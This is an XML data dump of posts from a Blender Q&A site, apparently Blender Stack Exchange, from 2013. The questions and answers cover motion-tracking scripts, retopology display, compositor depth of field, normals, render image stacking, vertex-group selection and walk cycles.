  <row Id="3710" PostTypeId="2" ParentId="3134" CreationDate="2013-11-05T23:46:02.220" Score="2" Body="&lt;p&gt;You can use the following script to copy a given set of properties from the active tracking marker to the selected markers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Paste this into a text editor, modify the values at the top, and press &lt;em&gt;&lt;kbd&gt;Run Script&lt;/kbd&gt;&lt;/em&gt; to run it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;############################################################&#xA;# Define your constants here                               #&#xA;to_set   = ('color', 'hide')  # list of properties to set  #&#xA;mc_name  = 'SomeMovie.mp4'    # name of movie clip         #&#xA;obj_name = 'Camera'           # name of track              #&#xA;############################################################&#xA;&#xA;clips  = bpy.data.movieclips&#xA;clip = clips[mc_name]&#xA;obj = clip.tracking.objects[obj_name]&#xA;tracks = obj.tracks&#xA;&#xA;# find the active track&#xA;active = tracks.active&#xA;&#xA;# define a set of attributes to change&#xA;new_values = { k : getattr(active, k) for k in to_set }&#xA;&#xA;# loop through and assign&#xA;for track in tracks:&#xA;  if not track.select:&#xA;      continue&#xA;  for k, v in new_values.items():&#xA;    setattr(track, k, v)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.MovieTrackingMarker.html&quot; rel=&quot;nofollow&quot;&gt;this API page&lt;/a&gt; to find the names of the properties you want to set.&lt;/p&gt;&#xA;" OwnerUserId="372" LastActivityDate="2013-11-05T23:46:02.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3711" PostTypeId="1" CreationDate="2013-11-06T07:55:24.647" Score="3" ViewCount="1543" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;My problem is converting a path into a bezier, and a bezier back to a &#xA;Grease Pencil again (or path to Grease Pencil),&#xA;since I need the handle assistance in &lt;em&gt;Edit mode&lt;/em&gt; for those to get my shapes just right, and free handing with Grease&#xA;Pencil isn't accurate enough for curves to start.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;From there, my second problem is turning at least 2 Grease Pencil Lines&#xA;into the opposite edges of a corelative surface, using BSurfaces.&#xA;I can't get Bsurfaces to run.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What state do 2 opposite beziers need to be in?&#xA;Do you have to start from grease pencil only?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get Bsurfaces to show me the &lt;em&gt;Add Surface&lt;/em&gt;&#xA;button, to draw it's extrapolation for me? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found&#xA;the buttons, keys and mouse click too confusing here.&lt;/p&gt;&#xA;" OwnerUserId="1544" LastEditorUserId="12" LastEditDate="2013-12-06T22:26:24.110" LastActivityDate="2013-12-06T22:26:24.110" Title="Line Conversions and Bsurfaces with Blender 2.69" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3712" PostTypeId="1" AcceptedAnswerId="3713" CreationDate="2013-11-06T08:43:05.037" Score="7" ViewCount="5059" Body="&lt;p&gt;I'm doing retopology and find it convenient to turn on xray for the object I am building. However, I now see ngons facing away from me as well. It's hard to navigate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also like to set the display type to wire (like in image below). This way the original mesh isn't hidden and I can easily create new geometry around eyes, nose and mouth without hiding them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess a mirror modifier could help along the x-axis since I can eliminate that half of the mesh. But I would like it even better if I didn't see the back of the skull when working on the face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WP5fB.png&quot; alt=&quot;retopology scene&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2020-06-08T07:10:34.650" Title="Hide backface with xray and object wire mode?" Tags="&lt;interface&gt;&lt;3d-view&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3713" PostTypeId="2" ParentId="3712" CreationDate="2013-11-06T10:43:26.700" Score="8" Body="&lt;p&gt;I found out that I missed the latest release and that this feature was in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For future reference, here is how to do it:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Turn on &lt;em&gt;X-Ray&lt;/em&gt;, located under under &lt;em&gt;Display&lt;/em&gt; in the &lt;em&gt;Object&lt;/em&gt; panel.&lt;/li&gt;&#xA;&lt;li&gt;In the &lt;em&gt;3D view &gt; properties-panel&lt;/em&gt; (&lt;kbd&gt;N&lt;/kbd&gt;), under &lt;em&gt;Shading&lt;/em&gt;, check &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.69/Modeling#Viewport:_Hidden_Wire&quot; rel=&quot;nofollow noreferrer&quot;&gt;hidden wire&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0Yqvj.png&quot; alt=&quot;backface culled wire view&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="395" LastEditorUserId="12" LastEditDate="2013-11-07T05:47:47.520" LastActivityDate="2013-11-07T05:47:47.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3714" PostTypeId="2" ParentId="3709" CreationDate="2013-11-06T12:05:58.653" Score="1" Body="&lt;p&gt;You are asking for a tutorial. Instead of giving you the tutorial (this is not a place to demonstrate a whole tutorial) I am going to show you a workflow. Now you can google each of these topics.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Import movie into blender.&lt;/li&gt;&#xA;&lt;li&gt;Render out as separate images (for convenience).&lt;/li&gt;&#xA;&lt;li&gt;Place a grey plane in front of the camera.&lt;/li&gt;&#xA;&lt;li&gt;Shine a spotlight on it where the object you want to glow is.&lt;/li&gt;&#xA;&lt;li&gt;Insert keyframes and move the light. The light will get animated. Seeing the images from the video in the background helps.&lt;/li&gt;&#xA;&lt;li&gt;Use the compositor in blender to render out a new movie. The grey plane should be multiplied with the images you rendered out earlier.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="395" LastActivityDate="2013-11-06T12:05:58.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3715" PostTypeId="1" AcceptedAnswerId="3717" CreationDate="2013-11-06T12:13:39.017" Score="5" ViewCount="935" Body="&lt;p&gt;Creating DoF in the compositor is very easy if you have the scene rendered in Blender and the camera depth set right. But what if you rendered a beauty (raw render) and depth pass in another program?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cQYpD.png&quot; alt=&quot;Beauty Pass&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/58iwI.png&quot; alt=&quot;Depth Pass&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was rendered in Maya, the white is at the front and the black at the back. There is no &quot;focal distance&quot; value on the Defocus node, so I don't know how to tell it what distance is supposed to be in focus. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried using a regular blur node with &quot;Variable Size&quot; on (Gaussian Type) after putting the depth through a color ramp to remap the values, but this causes areas in focus to have the out-of-focus background blur &quot;bleed&quot; into them:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lDOzP.jpg&quot; alt=&quot;Remapped depth&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/akZSy.jpg&quot; alt=&quot;Blur Bleed&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The whole worm should be in focus, no blurred edges)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how should I create depth of field using these two passes alone and no access to the scene itself (since it's in another software)?&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="2217" LastEditDate="2014-08-05T22:54:28.897" LastActivityDate="2014-08-05T22:54:28.897" Title="Creating depth of field from Beauty+Depth passes (rendered in another software)" Tags="&lt;rendering&gt;&lt;compositor&gt;&lt;depth-of-field&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3716" PostTypeId="2" ParentId="3715" CreationDate="2013-11-06T13:18:30.273" Score="1" Body="&lt;p&gt;Well, here is how I'll setup the compositor to do that :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Defocus node : be sure to check &lt;code&gt;use Z-buffer&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Set Alpha on the &quot;depth pass image&quot; (the B/W one), with a &lt;code&gt;less than&lt;/code&gt; math converter before. This will allow us to override the blurred worm (and other things which are on the same plane) by a focused one. The &quot;Full focused&quot; filed can be controlled by the &lt;code&gt;Less Than&lt;/code&gt; value.&lt;/li&gt;&#xA;&lt;li&gt;Alpha over : be sure to check &lt;code&gt;Convert Premult&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xNbdZ.jpg&quot; alt=&quot;defocus node setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I only have a 960x540 image to test, so it's a bit pixelated here, but it should work as you expect in full HD. (I hope)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="527" LastEditorUserId="527" LastEditDate="2013-11-06T13:31:26.363" LastActivityDate="2013-11-06T13:31:26.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3717" PostTypeId="2" ParentId="3715" CreationDate="2013-11-06T13:32:33.403" Score="6" Body="&lt;p&gt;The Defocus node works in conjunction with the settings for the active camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use this node setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PaMhi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to check &quot;Use Z-Buffer&quot; so your depth image is used. If you omit the Add node all parts of the image where the depth image is black are sharp independent of your focal settings. I don't know why, maybe that's a bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also have to set the &quot;Distance&quot; to &lt;code&gt;1.0&lt;/code&gt; with your active camera selected under Properties &gt; Camera Data &gt; Depth of Field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/R9b3h.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="151" LastActivityDate="2013-11-06T13:32:33.403" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3718" PostTypeId="1" AcceptedAnswerId="3719" CreationDate="2013-11-06T18:52:10.063" Score="4" ViewCount="1129" Body="&lt;p&gt;I need to export some .blend files into COLLADA. Unfortunately, all polygons are designed double sided. In order to properly use culling within my 3D application, I need all polygons to face outwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever I switch to the &quot;Object Data&quot; menu and uncheck &quot;Double Sided&quot;, everything looks fine. But after exporting to collada and re-importing to Blender, &quot;Double Sided&quot; is checked again.&#xA;Maybe there is another way to let all faces face outwards?&lt;/p&gt;&#xA;" OwnerUserId="997" LastActivityDate="2013-11-06T19:16:38.967" Title="How to make all polygons face outwards in an existing model?" Tags="&lt;export&gt;&lt;collada&gt;&lt;normals&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3719" PostTypeId="2" ParentId="3718" CreationDate="2013-11-06T19:16:38.967" Score="9" Body="&lt;p&gt;in Edit Mode press Recalculate Normals in Toolbar (press T to show it):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/E1r71.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's usually better not to see backfaces. You can turn them off in 3D View Properties Panel (press N to show it):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LOjyw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="849" LastActivityDate="2013-11-06T19:16:38.967" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3720" PostTypeId="1" AcceptedAnswerId="3723" CreationDate="2013-11-06T19:53:23.803" Score="5" ViewCount="1334" Body="&lt;p&gt;I read through the conversation on this question: &lt;a href=&quot;https://blender.stackexchange.com/questions/736/is-there-a-way-to-render-single-frame-using-network-rendering-in-cycles&quot;&gt;Is there a way to render a single frame using network rendering in cycles&lt;/a&gt;. I tried the image stacking method that was suggested and got pretty good results. I rendered my image five times, each with 150 samples and a different sampling seed. I then rendered the same image with 750 samples to compare. (In case you're curious, the 150*5 stack had slightly more noise than the straight 750 image, so you are sacrificing some quality by splitting up the work in this way)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I wondered how much of a quality increase I could get if I added the 750 image to the stack, which brings me to my question. How can I reduce noise by image stacking if the images don't have the same number of samples?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my first five layers have opacity 100%, 50%, 33%, 25%, 20%, respectively. These are the layers with 150 samples. If I wanted to add my 750 sample image to the top of the stack, what would be its opacity?&lt;/p&gt;&#xA;" OwnerUserId="1170" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2013-11-07T03:31:54.043" Title="Creating renders from Image Stacking using different sampling levels" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3722" PostTypeId="2" ParentId="3711" CreationDate="2013-11-06T21:20:18.357" Score="1" Body="&lt;p&gt;I'm not sure about converting back and forth between a grease pencil stroke and a curve, but you can create a surface from grease pencil strokes like this:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;Bsurfaces&lt;/em&gt; in &lt;em&gt;User preferences &amp;gt; Addons&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create an empty mesh by adding a primitive and deleting all the geometry from &lt;em&gt;edit mode &amp;gt; &lt;kbd&gt;Delete&lt;/kbd&gt;&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gQUvu.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a new grease pencil layer in the &lt;em&gt;3D view &amp;gt; Properties region (&lt;kbd&gt;N&lt;/kbd&gt;)&lt;/em&gt; and select &lt;em&gt;Surface&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wJbDN.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Still in edit mode, (editing the empty object) draw grease pencil strokes on the target object with &lt;kbd&gt;D&lt;/kbd&gt;+&lt;kbd&gt;LMB&lt;/kbd&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3XJII.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the &lt;em&gt;Tool shelf&lt;/em&gt; (&lt;kbd&gt;N&lt;/kbd&gt; in the &lt;em&gt;3D view&lt;/em&gt;), press &lt;em&gt;Add surface&lt;/em&gt; in the &lt;em&gt;Bsurfaces panel&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yiAdL.png&quot; alt=&quot;enter image description here&quot; /&gt; &lt;img src=&quot;https://i.stack.imgur.com/NhSUg.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-11-06T21:20:18.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3723" PostTypeId="2" ParentId="3720" CreationDate="2013-11-06T23:09:14.013" Score="1" Body="&lt;h1&gt;Short answer:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;My guess is that it should be &lt;code&gt;50%&lt;/code&gt;. The combined samples of the images above it is ~&lt;code&gt;750&lt;/code&gt;, which is the same as the number of samples in the rendered image. Since the rendered image and the combined images are more or less equivalent, They should be combined with a 50/50 mix.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Long answer:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Each image's opacity is based on how many samples it has compared to the image above it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. if you render 5 images with 10 samples each, the second image should be mixed with the first with a factor of &lt;code&gt;.5&lt;/code&gt; (or an alpha of &lt;code&gt;50%&lt;/code&gt;). This will effectively result in a &lt;code&gt;20&lt;/code&gt; sample image (as you pointed out, it's not quite the same as 20 rendered samples, but it's reasonably close), so the second image should be mixed with a factor of &lt;code&gt;.33&lt;/code&gt; (alpha of &lt;code&gt;33%&lt;/code&gt;) and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the resulting combined image is basically a 750 sample render, it's the same number of samples as your 750 sample render. You can just tack it on top with a transparency of &lt;code&gt;50%&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-11-07T03:31:54.043" LastActivityDate="2013-11-07T03:31:54.043" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3724" PostTypeId="1" AcceptedAnswerId="3725" CreationDate="2013-11-06T23:11:30.833" Score="8" ViewCount="18420" Body="&lt;p&gt;Is it possible to select all faces of one of these groups in edit mode?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kvIea.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried my luck with &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Modeling/Select_Vertex_Groups&quot; rel=&quot;noreferrer&quot;&gt;this&lt;/a&gt; extension, but i wasn't able to figure out how that works. It just says &quot;No Group&quot; when i select a face and hit &quot;Select&quot;.&lt;/p&gt;&#xA;" OwnerUserId="997" LastEditorUserId="997" LastEditDate="2013-11-06T23:27:04.273" LastActivityDate="2020-10-06T02:04:52.263" Title="How to select a group of vertices in edit mode?" Tags="&lt;editing&gt;&lt;selection-tools&gt;&lt;vertex-groups&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3725" PostTypeId="2" ParentId="3724" CreationDate="2013-11-06T23:21:48.970" Score="5" Body="&lt;p&gt;You can select (or deselect) the faces of a &lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/meshes/properties/vertex_groups/assigning_vertex_group.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Vertex group&lt;/em&gt;&lt;/a&gt; by pressing &lt;em&gt;Select&lt;/em&gt; with the desired vertex group selected in &lt;em&gt;Properties &amp;gt; Object Data &amp;gt; Vertex groups&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rZYzO.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;To select all the faces of an &lt;a href=&quot;https://docs.blender.org/manual/en/latest/scene_layout/object/types.html#object-types&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Object&lt;/em&gt;&lt;/a&gt; press &lt;kbd&gt;A&lt;/kbd&gt; or &lt;em&gt;3D view &amp;gt; Header &amp;gt; Select &amp;gt; (De)select all&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2020-10-06T02:04:52.263" LastActivityDate="2020-10-06T02:04:52.263" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="3727" PostTypeId="1" CreationDate="2013-11-07T03:25:04.473" Score="21" ViewCount="68684" Body="&lt;p&gt;In blender, after I press &lt;kbd&gt;F12&lt;/kbd&gt; to render, the view changes. Is there a button or key that I can press to go back to the &lt;em&gt;3d view&lt;/em&gt;?&lt;/p&gt;&#xA;" OwnerUserId="1544" LastEditorUserId="12" LastEditDate="2013-11-07T05:36:36.760" LastActivityDate="2016-08-23T20:42:51.417" Title="How can I return to the 3D view after rendering?" Tags="&lt;interface&gt;&lt;shortcut&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3728" PostTypeId="2" ParentId="3727" CreationDate="2013-11-07T03:46:44.650" Score="2" Body="&lt;p&gt;I assume you're asking about returning to the model view after seeing a render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually, pressing &lt;kbd&gt;Esc&lt;/kbd&gt; will do the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this doesn't work, try &lt;kbd&gt;F11&lt;/kbd&gt;, or &lt;em&gt;Window &gt; Show/Hide Render View&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this still doesn't work, you can do the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Save the file.&lt;/li&gt;&#xA;&lt;li&gt;Open the default file (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt; for a new file).&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open the old file &lt;strong&gt;without the &lt;em&gt;Load UI&lt;/em&gt; setting checked&lt;/strong&gt; in the &lt;em&gt;Open Blender File&lt;/em&gt; window. This will reload the file with the default user interface:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PuMPE.png&quot; alt=&quot;Location of *Load UI* in the interface&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="372" LastEditorUserId="1363" LastEditDate="2013-11-07T07:44:28.650" LastActivityDate="2013-11-07T07:44:28.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3729" PostTypeId="2" ParentId="3727" CreationDate="2013-11-07T05:37:52.953" Score="5" Body="&lt;p&gt;Pressing &lt;kbd&gt;Esc&lt;/kbd&gt; should do this by default and in addition to &lt;a href=&quot;https://blender.stackexchange.com/a/3728/12&quot;&gt;WChargin's answer&lt;/a&gt;, another way about this is to go to the &lt;em&gt;Render&lt;/em&gt; context in the &lt;em&gt;Properties&lt;/em&gt; panel and under &lt;em&gt;Render&lt;/em&gt;, change &lt;em&gt;Display&lt;/em&gt; to &lt;em&gt;New Window&lt;/em&gt;. This will have your renders appear in a separate &lt;strong&gt;&lt;em&gt;window&lt;/em&gt;&lt;/strong&gt;, one that you can close without exiting Blender or switching views.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zoKbH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2013-11-07T05:37:52.953" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3734" PostTypeId="2" ParentId="3708" CreationDate="2013-11-07T09:04:15.440" Score="1" Body="&lt;p&gt;You can use masks to isolate your objects from the background. These masks can be animated with keyframes or attached to a tracker to stay on the objects. But it is quite cumbersome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Masking tutorial: &lt;a href=&quot;http://learningblender3dsoftware.blogspot.de/2012/10/blender-264-tutorial-intro-to-masking.html&quot; rel=&quot;nofollow&quot;&gt;http://learningblender3dsoftware.blogspot.de/2012/10/blender-264-tutorial-intro-to-masking.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Video tutorial which covers masks in combination with Trackers: &lt;a href=&quot;http://www.blenderdiplom.com/en/tutorials/all-tutorials/424-tutorial-sin-city-effect-in-blender.html&quot; rel=&quot;nofollow&quot;&gt;http://www.blenderdiplom.com/en/tutorials/all-tutorials/424-tutorial-sin-city-effect-in-blender.html&lt;/a&gt; (click the third link below the video: &quot;8:50 - 12:40 ...&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender wiki: &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.64/Mask_Editor&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.64/Mask_Editor&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="151" LastActivityDate="2013-11-07T09:04:15.440" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3735" PostTypeId="1" AcceptedAnswerId="3762" CreationDate="2013-11-07T09:28:32.990" Score="17" ViewCount="4720" Body="&lt;p&gt;Sometimes freestyle renders will have gaps in the lines:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/v0llH.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Closer up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3qsmH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What causes this and how can I prevent it?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2018-12-23T18:25:23.480" Title="Why do freestyle outlines occasionally have gaps?" Tags="&lt;rendering&gt;&lt;freestyle&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3736" PostTypeId="1" AcceptedAnswerId="3740" CreationDate="2013-11-07T09:36:53.003" Score="13" ViewCount="7317" Body="&lt;p&gt;I created a walk cycle as an action, placed it in the NLA editor and repeated the cycle. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each repetition the character jumps back to the starting position, what are some options to move the character forward? (The ending position should be starting position of the following repetition of the action).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Starting position:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4qkK6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Walking until last frame of action the same action should follow but the position jumps back to the origin. (Same as image 1 except current frame has advanced)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pgedP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried in the NLA editor (same effect as above):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/w16sC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2013-11-08T10:52:46.480" LastActivityDate="2013-11-08T10:52:46.480" Title="How should an animated character be moved while repeating a walk cycle?" Tags="&lt;animation&gt;&lt;nla-editor&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3737" PostTypeId="2" ParentId="3676" CreationDate="2013-11-07T09:44:26.420" Score="3" Body="&lt;p&gt;In the Blender &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Types/Volume/Voxel_Data&quot; rel=&quot;nofollow&quot;&gt;wiki article&lt;/a&gt; it says&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The voxels are stored in a flat z/y/x grid of floats.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That means that the coordinates of every density is defined by its position in the file. I guess that your original data set is sorted that way too. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xx yy zz dd&#xA;-----------&#xA;12 20 00 dd&#xA;12 20 01 dd&#xA;12 20 02 dd&#xA;...&#xA;12 21 00 dd&#xA;12 21 01 dd&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case the coordinates are redundant because they can be easily deduced from the position in the list. Thus the coordinates can be omitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also the file format doesn't use ASCII characters. It is a binary file and simply stores numbers. Every number can be interpreted as an ASCII character. The character for &lt;code&gt;64&lt;/code&gt; is &lt;code&gt;@&lt;/code&gt;. But in this case this is irrelevant.&lt;/p&gt;&#xA;" OwnerUserId="151" LastActivityDate="2013-11-07T09:44:26.420" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
